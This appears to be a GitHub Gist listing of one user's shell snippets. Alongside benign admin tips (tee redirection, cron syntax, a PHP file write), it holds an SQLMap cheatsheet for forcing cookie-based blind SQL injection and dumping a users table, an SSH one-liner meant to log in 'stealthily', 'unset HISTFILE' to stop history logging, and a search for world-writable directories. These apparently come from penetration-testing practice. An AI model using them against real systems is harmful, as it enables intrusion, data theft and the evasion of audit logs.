Skip to content

Instantly share code, notes, and snippets.

@leveled
leveled / redirect-output-file.sh
Last active December 29, 2016 16:59
redirect output of a program to both stdout and an outfile
program [arguments...] 2>&1 | tee outfile
@leveled
leveled / sqlmap_cheatsheet.sh
Last active January 19, 2021 14:29
SQLMap Cheatsheet
#Forcing injection on a cookie
sqlmap -r blindsqli2.req -random-agent -force-ssl -p "TrackingId" --param-filter='COOKIE' --skip='session' --level=2
#Dumping user table with 4 threads
sqlmap -r blindsqli2.req -random-agent -force-ssl --dump -T users --threads=4
#Post Request
root@localhost:~/thinc-network/machines/10.11.1.252# sqlmap -r post -p username
@leveled
leveled / find-exclude-denied.sh
Last active December 29, 2016 16:59
finds all directories that are readable, and prunes permission denied
find / ! -readable -prune -o -type d -perm -o+w -print
@leveled
leveled / find-executables.sh
Last active December 29, 2016 16:58
find all executable files within a directory
find . -maxdepth 1 -perm -111 -type f
@leveled
leveled / curl-save-cookie.sh
Last active December 29, 2016 16:57
saves cookies from a curl post request
@leveled
leveled / php-write-file.php
Last active December 29, 2016 16:56
opens a file and writes to the file using php
<?php
$myfile = fopen("newfile.txt", "w") or die("Unable to open file!");
$txt = "John Doe\n";
fwrite($myfile, $txt);
$txt = "Jane Doe\n";
fwrite($myfile, $txt);
fclose($myfile);
?>
@leveled
leveled / ssh stealthily.sh
Created December 29, 2016 16:52
When you need to SSH stealthily into a machine
ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash -i
# -o sets the known hosts file to /dev/null so login attempt isn't logged
# -T prevents a TTY from spawning
@leveled
leveled / remove history from bash.sh
Created December 29, 2016 17:08
#prevents history logging in bash
unset HISTFILE
#prevents history logging in bash
@leveled
leveled / running a cron job 4 times a day.txt
Created December 29, 2016 17:08
Run a cron job 4 times in a day
0 0,4,8,12,16,20 * * * /cmd.sh
@leveled
leveled / crontab format.txt
Created December 29, 2016 17:08
Crontab formatting
* * * * * command to execute
│ │ │ │ │
│ │ │ │ └─── day of week (0 - 6) (0 to 6 are Sunday to Saturday, or use names; 7 is Sunday, the same as 0)
│ │ │ └──────── month (1 - 12)
│ │ └───────────── day of month (1 - 31)
│ └────────────────── hour (0 - 23)
└─────────────────────── min (0 - 59)